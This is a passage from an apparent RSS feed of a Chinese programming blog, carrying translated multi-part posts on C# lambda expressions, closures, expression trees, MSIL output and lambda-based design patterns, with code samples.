&lt;p&gt;看到了。我们可以改变这个方法。或者进行更精确的操作，这种方法的缺点是我们不能直接访问父类的实现，也就缺乏了基类的能力，因为，这个父类的属性会有同样的值，如果程序员真的需要这样写，我建议你遵循 &lt;em&gt;pattern&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; private set; }

	Stack&amp;lt;Action&amp;gt; previousActions;

	protected void AddSomeAction(Action newMethod)
	{
		previousActions.Push(SomeAction);
		SomeAction = newMethod;
	}

	protected void RemoveSomeAction()
	{
		if(previousActions.Count == 0)
			return;

		SomeAction = previousActions.Pop();
	}

	public MyBaseClass()
	{
		previousActions = new Stack&amp;lt;Action&amp;gt;();

		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;这样的话，子类就不得不拥有了 AddSomeAction()  方法，而这个方法是吧当前的方法压入堆栈，那样我们可以恢复之前的状态。&lt;/p&gt;
&lt;p&gt;这种模式我起了一个名字叫做Lambda属性多态模式（LP3），它简单的描述了可以在属性里捕获任何方法。之后可以被子类所设置，栈是这个模式的一个附加品，没有改变我们使用属性来完成的模式目标&lt;/p&gt;
&lt;p&gt;为什么要用这种模式？有几个理由。地一个，因为我们可以用。但是等一等。如果你使用当中不同的属性，这个模式会变得相当棘手，突然，多态变成了一个完全的新方法。但是这也许是一个不同的模式，现在我想说这个模式完成了以前人们认为不可能的事情&lt;/p&gt;
&lt;p&gt;举个例子，你想要（不建议，但是也许对该问题是最优雅的解决方法了。）重写一个静态方法，好吧。静态不可能被继承，原因很简单，师承是对实例对象来说的。而静态方法不属于任何一个实例，对于所有的实例都是一样的。这会引发一个警告，下面的例子也许并不如你所想的结果，因此，除非你非常清楚。否则不要乱用。
看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	var mother = HotDaughter.Activator().Message;
	//mother = &#34;I am the mother&#34;
	var create = new HotDaughter();
	var daughter = HotDaughter.Activator().Message;
	//daughter = &#34;I am the daughter&#34;
}

class CoolMother
{
	public static Func&amp;lt;CoolMother&amp;gt; Activator { get; protected set; }

	//此处是防止空引用
	static CoolMother()
	{
		Activator = () =&amp;gt; new CoolMother();
	}

	public CoolMother()
	{
		//Message of every mother
		Message = &#34;I am the mother&#34;;
	}

	public string Message { get; protected set; }
}

class HotDaughter : CoolMother
{
	public HotDaughter()
	{
		//一进入构造函数我们设置Activator ...
		Activator = () =&amp;gt; new HotDaughter();
		//Message of every daughter
		Message = &#34;I am the daughter&#34;;
	}
}
&lt;/pre&gt; 
&lt;p&gt;这很简单，希望没有对你产生误导，这种模式有时候会让事情变得异常复杂，这也是为什么我总是避免使用它。不过他很有用。（可以通过该方法构造所有的静态属性和方法，并且可以使你总是获得你感兴趣的那个）只要你不感到头疼，这是解决静态多态性的一个好方法。是的。静态多态性是可能的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第五部分</title>
      <link>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 27 Dec 2012 09:15:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;武汉下雪了。。今天介绍Lambda表达式非常有用的情况。。ps:这个高手之路已经翻译了10000多字了。。疼啊。。&lt;/p&gt;
&lt;p&gt;一些模式比另一些模式有时候更加合适，真正有用的模式是自定义方法表达式，用爱促使话一些对象的部分，我们考虑下面这种情况。&lt;/p&gt;
&lt;p&gt;我们想要创建一个可以处理多种延迟加载的对象，这意味着即时对象已经被实例化了，我们还没有加载所有请求的资源，一个理由就是防止大量的IO操作。（比如通过网络传输），当我们开始使用数据的时候，我们想要确定数据足够新鲜，现在有一些确定的方法可以做这个。并且最有效的显然是实体框架已经用LINQ解决了延迟加载的问题，Iqueryable&lt;T&gt;仅存储了查询，而没有任何无关的数据。一旦我们请求一个结果。不仅仅构造的查询被执行，同时也被以更高效的方式执行，比如一个在远程数据服务器上的SQL查询。&lt;/p&gt;
&lt;p&gt;在这里，我们仅仅想要看看两种情况的不同点，首先，我们查询，一切就绪，查询应该在已经加载了的数据上进行。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class LazyLoad
{
	public LazyLoad()
	{
		Search = query =&amp;gt; {
			var source = Database.SearchQuery(query);

			Search = subquery =&amp;gt; {
				var filtered = source.Filter(subquery);

				foreach(var result in filtered)
					yield return result;
			};

			foreach(var result in source)
				yield return result;
		};
	}

	public Func&amp;lt;string, IEnumerable&amp;lt;ResultObject&amp;gt;&amp;gt; Search { get; private set; }
}
&lt;/pre&gt; 
&lt;p&gt;简单来看，这里我们有两种不他哦你的方法，地一个是我们把数据从数据库里提取出来（也就是Database静态类所做的），然后第二个方法将会过滤从数据库里提取出来的数据。一旦我们将会从我们的第一次查询取得结果，当然我们也可以构造内置的其他方法来重置类的行为，对于工业级的代码，其他的方法也许更加有用。&lt;/p&gt;
&lt;p&gt;另一个例子是初始时间分支，假设我们有一个对象，该对象有个方法叫做Perform(),这个方法可以用来调用一些代码，包含这个方法的对象可以被初始化，初始化有三种方式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过传递方法来调用&lt;/li&gt;
&lt;li&gt;通过传递一些包含这个方法的对象来调用&lt;/li&gt;
&lt;li&gt;或者通过传递第一种情况下的序列化以后的信息来调用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在我们可以保留所有的三种方式做全局变量。而Perform方法将不得不查看当前的状态（或者是保存在枚举变量里，或者和null进行比较）然后检测被调用的正确的方式，最后调用开始。&lt;/p&gt;
&lt;p&gt;更好的一种方法是吧Perform()方法写成一个属性，这个属性仅仅允许在类里面进行set，它是一个委托类型，现在我们可以在对应的构造方法里面直接设置这个属性，因此，我们可以不用全局变量，也不用担心这个对象是如何实例化的，这种方法更好。&lt;/p&gt;
&lt;p&gt;看一小段简单的代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Example
{
	public Action&amp;lt;object&amp;gt; Perform { get; private set; }

	public Example(Action&amp;lt;object&amp;gt; methodToBeInvoked)
	{
		Perform = methodToBeInvoked;
	}

	//接口
	public Example(IHaveThatFunction mother)
	{
		//传递的对象必须有我们要用的方法
		Perform = mother.TheCorrespondingFunction;
	}

	public Example(string methodSource)
	{
		//Compile方法是任意的。
		Perform = Compile(methodSource);
	}
}
&lt;/pre&gt; 
&lt;p&gt;即时这个例子看起来如我们所愿被构造了。让阿尔。大多数情况下只使用前两种，但是随着领域特性语言，编译器，日志框架，数据访问层和其他很多情况下，通常有很多方式可以完成，但Lambda表达式也许是最优雅的。&lt;/p&gt;
&lt;p&gt;考虑这种情况，我们可以在函数编程领域体会到即时调用方法表达式的好处，我们可以看到C#中IIFE的一种用法。用的不多。但是我认为真的很好。但不是用在这种情况下。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;double, double&amp;gt; myfunc;
var firstValue = (myfunc = (x) =&amp;gt; {
	return 2.0 * x * x - 0.5 * x;
})(1);
var secondValue = myfunc(2);
//...&lt;/pre&gt; 
&lt;p&gt;我们也可以使用即时调用方法来防止一些确定的非静态的方法被重复调用。这就会出现自定义方法和初始时间分支和IIFE的组合使用了。&lt;/p&gt;
&lt;p&gt;下一节介绍一些新的Lambda设计模式&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第四部分</title>
      <link>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</link>
      <pubDate>Mon, 24 Dec 2012 19:20:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;首先祝大家平安夜快乐。本篇介绍一些流行的JavaScript模式。为下一篇打基础&lt;/p&gt;
&lt;p&gt;使用/了解JavaScript的一个好处就是函数的高级用法。。在JavaScript里。函数仅仅是对象。他们可以有赋给他们的属性。而在C#中。我们不能做我们可以在JavaScript的全部事情。但是我们仍然可以做些事情。一个原因是JavaScript在函数里给变量以作用域。因此，不得不通过创建函数，大多数情况是匿名的来定位变量。而在C#中。通过使用块，通过花括号来创建作用域&lt;/p&gt;
&lt;p&gt;当然，换种方式来说。C#中，函数也会给变量作用域。通过使用Lambda表达式。我们通过花括号在其里面创建了一个变量。然而。我们也可以局部的创建作用域。&lt;/p&gt;
&lt;p&gt;我们来看看通过使用Lambda表达式可以实现一些在JavaScript里面有用的模式把。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回调模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个模式是个老的模式。事实上。回调模式从.net 的第一版就开始使用了。但是是以一种很简单的方式实现的。而现在。通过使用Lambda表达式。闭包，捕获变量等特性能够允许我们写出如下的代码来。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void CreateTextBox()
{
	var tb = new TextBox();
	tb.IsReadOnly = true;
	tb.Text = &#34;Please wait ...&#34;;
	DoSomeStuff(() =&amp;gt; {
		tb.Text = string.Empty;
		tb.IsReadOnly = false;
	});
}

void DoSomeStuff(Action callback)
{
	// Do some stuff - asynchronous would be helpful ...
	callback();
}&lt;/pre&gt; 
&lt;p&gt;对于JavaScript程序员会觉得这没什么啊。他们使用这个模式太多了。然而，它非常有用。因为我们可以使用参数作为Ajax相关事件的事件处理器（比如oncompleted，onsuccess），等等。如果你使用LINQ，那么你可能也会用到回调模式的一些东西。举个例子。LINQ的where子句将会在每一次迭代中回调你的查询语句。这只是回调函数的一个例子。在.net的世界里。事件如它名字所暗示的那样。通常是事件处理的首选方法。这有时候很像一个回调。他有两个参数。有一个特殊的关键字和一个类型模式（两个参数分别是sender和arguments，sender通常是object类型。Arguments通常继承自EventArgs）
可以通过+= 和-=给事件添加/删除事件处理程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回方法&lt;/strong&gt;
和普通的方法比较。Lambda表达式也可以返回一个方法指针（就是一个委托实例），这意味着我们可以使用Lambda表达式创建/返回一个lambda表达式（或者今年仅是一个已定义好的方法的委托实例），大量的情况下。这个模式也很有用。首先看一下例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;string, string&amp;gt; SayMyName(string language)
{
	switch(language.ToLower())
	{
		case &#34;fr&#34;:
			return name =&amp;gt; {
				return &#34;Je m&#39;appelle &#34; + name + &#34;.&#34;;
			};
		case &#34;de&#34;:
			return name =&amp;gt; {
				return &#34;Mein Name ist &#34; + name + &#34;.&#34;;
			};
		default:
			return name =&amp;gt; {
				return &#34;My name is &#34; + name + &#34;.&#34;;
			};
	}
}

void Main()
{
	var lang = &#34;de&#34;;
	//Get language - e.g. by current OS settings
	var smn = SayMyName(lang);
	var name = Console.ReadLine();
	var sentence = smn(name);
	Console.WriteLine(sentence);
}&lt;/pre&gt; 
&lt;p&gt;代码本应该更短些。我们可以让default如果请求的语言没有找到。只是抛出一个异常即可。不过。这个例子展示了这是一种方法工厂。另一种同等效果的方法是包含一个Hashtable。或者更好的话用Dictionary&amp;lt;K, V&amp;gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第三部分</title>
      <link>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 20 Dec 2012 20:12:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;背后的秘密-MSIL&lt;/p&gt;
&lt;p&gt;通过著名的LINQPad，我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30624_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2cc26ed754b0ac72d7caf372a917ef44d327d51a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们会看三个例子，第一个Lambda表达式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};&lt;/pre&gt; 
&lt;p&gt;对应的普通函数是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};
&lt;/pre&gt; 
&lt;p&gt;生成的MSIL代码片段如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret         
&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.0     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret       &lt;/pre&gt; 
&lt;p&gt;最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西，仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中，我们做了同样的事情。在当前对象里调用了一个方法。&lt;/p&gt;
&lt;p&gt;我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30625_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1500b574e9e4fd0cfb11b286eaff270102810b02.png&#34;&gt;&lt;/a&gt;
第二个例子将展示Lambda表达式真正的奇妙之处，在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	int local = 5;

	Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt; {
		Console.WriteLine(s + local);
	};

	global = local;

	DoSomethingLambda(&#34;Test 1&#34;);
	DoSomethingNormal(&#34;Test 2&#34;);
}

int global;

void DoSomethingNormal(string s)
{
	Console.WriteLine(s + global);
}
&lt;/pre&gt; 
&lt;p&gt;没什么不同的似乎。关键是：lambda表达式如何被编译器处理&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;IL_0000:  newobj      UserQuery+&amp;lt;&amp;gt;c__DisplayClass1..ctor
IL_0005:  stloc.1     
IL_0006:  nop         
IL_0007:  ldloc.1     
IL_0008:  ldc.i4.5    
IL_0009:  stfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_000E:  ldloc.1     
IL_000F:  ldftn       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0
IL_0015:  newobj      System.Action&amp;lt;System.String&amp;gt;..ctor
IL_001A:  stloc.0     
IL_001B:  ldarg.0     
IL_001C:  ldloc.1     
IL_001D:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0022:  stfld       UserQuery.global
IL_0027:  ldloc.0     
IL_0028:  ldstr       &#34;Test 1&#34;
IL_002D:  callvirt    System.Action&amp;lt;System.String&amp;gt;.Invoke
IL_0032:  nop         
IL_0033:  ldarg.0     
IL_0034:  ldstr       &#34;Test 2&#34;
IL_0039:  call        UserQuery.DoSomethingNormal
IL_003E:  nop         

DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery.global
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1..ctor:
IL_0000:  ldarg.0     
IL_0001:  call        System.Object..ctor
IL_0006:  ret      
&lt;/pre&gt; 
&lt;p&gt;和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是，编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里，这就给了捕获的变量一个全局的作用域，通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第二部分</title>
      <link>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 19 Dec 2012 20:03:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</guid>
      <description>&lt;h1 id=&#34;闭包的影响&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;闭包的影响&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;为了展示闭包的影响，我们看下面这个例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var buttons = new Button[10];

for(var i = 0; i &amp;lt; buttons.Length; i++)
{
	var button = new Button();
	button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
	button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(i.ToString()); };
	buttons[i] = button;
}
//如果我们点击按钮会发生什么&lt;/pre&gt;
&lt;p&gt;这个问题很怪，我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0，按钮1显示1，等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10.&lt;/p&gt;
&lt;p&gt;局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var button = new Button();
var index = i;
button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(index.ToString()); };
buttons[i] = button;&lt;/pre&gt;
&lt;p&gt;问题解决了，但是index变量是一个值类型，因此保留了“全局”i的一个拷贝&lt;/p&gt;
&lt;p&gt;最后一个话题是一个叫做表达式树的东西，他和Lambda表达式协作。并且，他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是：如何发现目标函数&lt;/p&gt;
&lt;p&gt;1. 传递进去的变量的名称是什么
2. 方法的主体是什么
3. 函数体里使用了什么类型&lt;/p&gt;
&lt;p&gt;Expression 解决了这些问题，他允许我们挖掘生成的表达式树，我们也可以执行传递给Func和Action委托的函数，而且，可以在运行时解析Lambda表达式&lt;/p&gt;
&lt;p&gt;我们看一下如何使用Expression 类型的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Expression&amp;lt;Func&amp;lt;MyModel, int&amp;gt;&amp;gt; expr = model =&amp;gt; model.MyProperty;
var member = expr.Body as MemberExpression;
var propertyName = memberExpression.Member.Name; //当 member != null的时候执行  ...&lt;/pre&gt;
&lt;p&gt;这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息，比如参数和方法体。&lt;/p&gt;
&lt;p&gt;方法体包含完整的解释树，我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然，返回可以为null，无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字，而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。&lt;/p&gt;
&lt;p&gt;注意：当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单，更优雅的解决方案，那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此，如果我们仅仅想知道名字，而不想知道其他更多的信息，那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string WhatsMyName([CallerMemberName] string callingName = null)
{
    return callingName;
}&lt;/pre&gt;
&lt;h1 id=&#34;lambda表达式的性能&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Lambda表达式的性能&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;有一个很大的问题：Lambda表达式有多快？好吧。首先，我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。&lt;/p&gt;
&lt;p&gt;最有趣的一个讨论是如果Lambda表达式产生了闭包，将会和使用全局变量的方法一样快。这就产生了一个有趣的问题，和一个区域内局部变量的数目多少会有关系吗？&lt;/p&gt;
&lt;p&gt;我们看看测试代码，通过4个不同的指标，我们可以看到普通方法和Lambda方法的不同。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace LambdaTests
{
	class StandardBenchmark : Benchmark
    {
		const int LENGTH = 100000;
        static double[] A;
		static double[] B;

        static void Init()
        {
            var r = new Random();
            A = new double[LENGTH];
            B = new double[LENGTH];

            for (var i = 0; i &amp;lt; LENGTH; i++)
            {
                A[i] = r.NextDouble();
                B[i] = r.NextDouble();
            }
        }

        static long LambdaBenchmark()
        {
            Func&amp;lt;double&amp;gt; Perform = () =&amp;gt;
            {
                var sum = 0.0;

                for (var i = 0; i &amp;lt; LENGTH; i++)
                    sum += A[i] * B[i];

                return sum;
            };
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = Perform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Lambda-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static long NormalBenchmark()
        {
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = NormalPerform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Normal-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static double NormalPerform()
        {
            var sum = 0.0;

            for (var i = 0; i &amp;lt; LENGTH; i++)
                sum += A[i] * B[i];

            return sum;
        }
    }
}&lt;/pre&gt;
&lt;p&gt;本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此，本质上。上述代码里有三个方法
1个是Lambda测试，一个是普通测试，还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单，我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第一部分</title>
      <link>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Tue, 18 Dec 2012 19:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;好长时间没发技术文章了，恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。&lt;/p&gt;
&lt;h1 id=&#34;介绍&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;Lambda表达式是使代码更加动态，易于扩展并且更加快速（看完本文你就知道原因了）的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示，就像VS里一样。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起，使用Html扩展方法将会使得在后台创建模型成为可能。&lt;/p&gt;
&lt;p&gt;本文会讲到如下的知识。&lt;/p&gt;
&lt;p&gt;1.简短的介绍-Lambda表达式是什么，以及为什么和匿名方法不同（之前我们使用的）
2.走近Lambda表达式的性能-在哪些情况下比起标准方法，Lambda会提高/损失性能
3.深入-Lambda表达式在MSIL代码中是什么样
4.一些来自JS世界的模式映射到C#中
5.那些能够提高性能，并且代码看起来相当舒服的使用Lambda的情况。
6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果你期望本文是一篇入门教程我可能要让你失望了，除非你真的很优秀并且很聪明，当然我不是这种人，所以我也想提前声明一下：为了读懂这篇文章你可能需要C#的一些高级知识，并且对C#比较了解。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;你应该期望本文试着解释一些事情给你，也会解释一些有趣的问题，至少对我来说是这样的。最后我会展示一些实际的例子和模式，如我所说，Lambda表达式简化了很多情况。因此写显式的模式很有用。&lt;/p&gt;
&lt;h1 id=&#34;背景知识-什么是lambda表达式&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;背景知识-什么是Lambda表达式&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;在C#1.0中，委托被提出了，它使得传递函数成为可能，一句话就是委托就是强类型的函数指针，但委托比指针更强大。一般传递一个函数需要如下几步。
1. 写一个委托（就像一个类）包含返回类型和参数类型
2. 使用委托作为某一个函数的参数类型，这样，该函数就可以接受和委托描述的有着相同签名的函数了
3. 将一个委托类型的函数传递给委托，创建一个委托实例。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果听起来很复杂，确实本来很复杂，但这是必需的。（虽然不是造火箭，但是比你认为的要更多的代码），然而步骤三不是必需的，编译器会为你做他，但是步骤1和2却是必不可少的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;幸运的是C#2.0出现了泛型，现在我们也可以写泛型类，方法，更重要的是，泛型委托，然而，直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托（当然有一些不同的重载），会覆盖99%的使用情况：&lt;/p&gt;
&lt;p&gt;1.Action 没有任何输入参数，也没有输出参数。
2.Action&amp;lt;t1,…t16&amp;gt; 需要1-16个参数，没有输出参数。
3.Func&amp;lt;t1….t16,tout&amp;gt;需要0-16个参数，一个输出参数&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Action和其对应的泛型版本（仅仅是一个动作，执行一些事情）返回void的时候。Func则可以返回最后一个参数指定的类型，通过这两个委托类型，我们事实上，大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法，也就是一个匿名方法，然后这个语法一直未能流行起来，一个相当简化的匿名方法的版本类似这样：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Func&amp;lt;double, double&amp;gt;  square = delegate (double x) {
return x * x;
}&lt;/pre&gt;
&lt;p&gt;为了提高这种语法，欢迎来到Lambda表达式的国度。首先，这个Lambda名字怎么来的？事实上。来自于数学上的λ演算，更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算，所以我们有0-N个输入参数和一个返回值，而在编程中，也可以没有返回值&lt;/p&gt;
&lt;h1 id=&#34;我们看一下lambda表达式的一些例子&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;我们看一下Lambda表达式的一些例子&lt;/span&gt;&lt;/h1&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//编译器可以识别，然后就可以通过dummyLambda();来调用了
var dummyLambda = () =&amp;gt; { Console.WriteLine(&#34;Hallo World from a Lambda expression!&#34;); };

//可以通过类似 double y = square(25);来使用
Func&amp;lt;double, double&amp;gt; square = x =&amp;gt; x * x;

//可以通过类似double z = product(9, 5);来使用
Func&amp;lt;double, double,double&amp;gt; product = (x, y) =&amp;gt; x * y;

//可以通过类似printProduct(9, 5);来使用
Action&amp;lt;double, double&amp;gt; printProduct = (x, y) =&amp;gt; { Console.Writeline(x * y); };

//可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 });
Func&amp;lt;double[], double[], double&amp;gt; dotProduct = (x, y) =&amp;gt; {
